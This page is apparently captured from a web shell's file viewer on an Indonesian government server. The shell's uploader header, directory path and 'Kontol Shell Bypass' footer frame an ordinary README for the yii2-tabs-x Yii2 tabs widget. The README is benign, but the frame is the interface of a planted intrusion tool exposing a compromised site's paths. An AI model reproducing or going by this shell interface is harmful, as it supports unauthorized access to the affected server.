ikan Uploader :
Directory : /www/wwwroot/jdih.dprd.mukomukokab.go.id/vendor/kartik-v/yii2-tabs-x/
Upload File : |
| Current File : /www/wwwroot/jdih.dprd.mukomukokab.go.id/vendor/kartik-v/yii2-tabs-x/README.md |
<h1 align="center">
<a href="http://demos.krajee.com" title="Krajee Demos" target="_blank">
<img src="http://kartik-v.github.io/bootstrap-fileinput-samples/samples/krajee-logo-b.png" alt="Krajee Logo"/>
</a>
<br>
yii2-tabs-x
<hr>
<a href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=DTP3NZQ6G2AYU"
title="Donate via Paypal" target="_blank"><img src="https://kartik-v.github.io/bootstrap-fileinput-samples/samples/donate.png" height="60" alt="Donate"/></a>
<a href="https://www.buymeacoffee.com/kartikv" title="Buy me a coffee" ><img src="https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png" height="60" alt="kartikv" /></a>
</h1>
[](https://packagist.org/packages/kartik-v/yii2-tabs-x)
[](https://packagist.org/packages/kartik-v/yii2-tabs-x)
[](https://packagist.org/packages/kartik-v/yii2-tabs-x)
[](https://packagist.org/packages/kartik-v/yii2-tabs-x)
[](https://packagist.org/packages/kartik-v/yii2-tabs-x)
[](https://packagist.org/packages/kartik-v/yii2-tabs-x)
An extended tabs widget for Yii Framework 2 based on the [bootstrap-tabs-x jQuery plugin](http://plugins.krajee.com/tabs-x) by Krajee. This plugin includes various CSS3 styling enhancements and various tweaks to
the core [Bootstrap Tabs plugin](http://getbootstrap.com/javascript/#tabs). The extension supports Bootstrap 5.x or 4.x or 3.x library versions.
It also helps you align tabs in multiple ways, add borders, achieve rotated/sideways titles, load tab content via ajax, and more.
## Features
The plugin offers these enhanced features:
- Supports various tab opening directions: `above` (default), `below`, `right`, and `left`.
- Allows you to box the tab content in a new `bordered` style. This can work with any of the tab directions above.
- Allows you to align the entire tab content to the `left` (default), `center`, or `right` of the parent container/page.
- Automatically align & format heights and widths for bordered tabs for `right` and `left` positions.
- Allows a rotated `sideways` tab header orientation for the `right` and `left` tab directions.
- Auto detect overflowing header labels for `sideways` orientation (with ellipsis styling) and display full label as a title on hover.
## Demo
You can see detailed [documentation and examples](http://demos.krajee.com/tabs-x) on usage of the extension.
## Installation
The preferred way to install this extension is through [composer](http://getcomposer.org/download/).
> NOTE: Check the [composer.json](https://github.com/kartik-v/yii2-tabs-x/blob/master/composer.json) for this extension's requirements and dependencies. Read this [web tip /wiki](http://webtips.krajee.com/setting-composer-minimum-stability-application/) on setting the `minimum-stability` settings for your application's composer.json.
Either run
```
$ php composer.phar require kartik-v/yii2-tabs-x "@dev"
```
or add
```
"kartik-v/yii2-tabs-x": "@dev"
```
to the ```require``` section of your `composer.json` file.
## Usage
### TabsX
```php
use kartik\tabs\TabsX;
echo TabsX::widget([
'position' => TabsX::POS_ABOVE,
'align' => TabsX::ALIGN_LEFT,
'items' => [
[
'label' => 'One',
'content' => 'Anim pariatur cliche...',
'active' => true
],
[
'label' => 'Two',
'content' => 'Anim pariatur cliche...',
'headerOptions' => ['style'=>'font-weight:bold'],
'options' => ['id' => 'myveryownID'],
],
[
'label' => 'Dropdown',
'items' => [
[
'label' => 'DropdownA',
'content' => 'DropdownA, Anim pariatur cliche...',
],
[
'label' => 'DropdownB',
'content' => 'DropdownB, Anim pariatur cliche...',
],
],
],
],
]);
```
## Sticky Tabs
You can provides pushState (back and forward button support) to Bootstrap tabs. You can enable or disable sticky tabs behaviour by setting `enableStickyTabs` property. This will use the [jquery.stickytabs plugin](https://github.com/timabell/jquery-stickytabs) to enable the sticky tabs push state behavior. If you want to change the sticky tabs plugin settings you can set the `stickyTabsOptions` property.
```php
echo TabsX::widget([
'enableStickyTabs' => true,
'stickyTabsOptions' => [
'selectorAttribute' => 'data-target',
'backToTop' => true,
],
'items' => [
// ... items here
]
]);
```
## License
**yii2-tabs-x** is released under the BSD-3-Clause License. See the bundled `LICENSE.md` for details.
Kontol Shell Bypass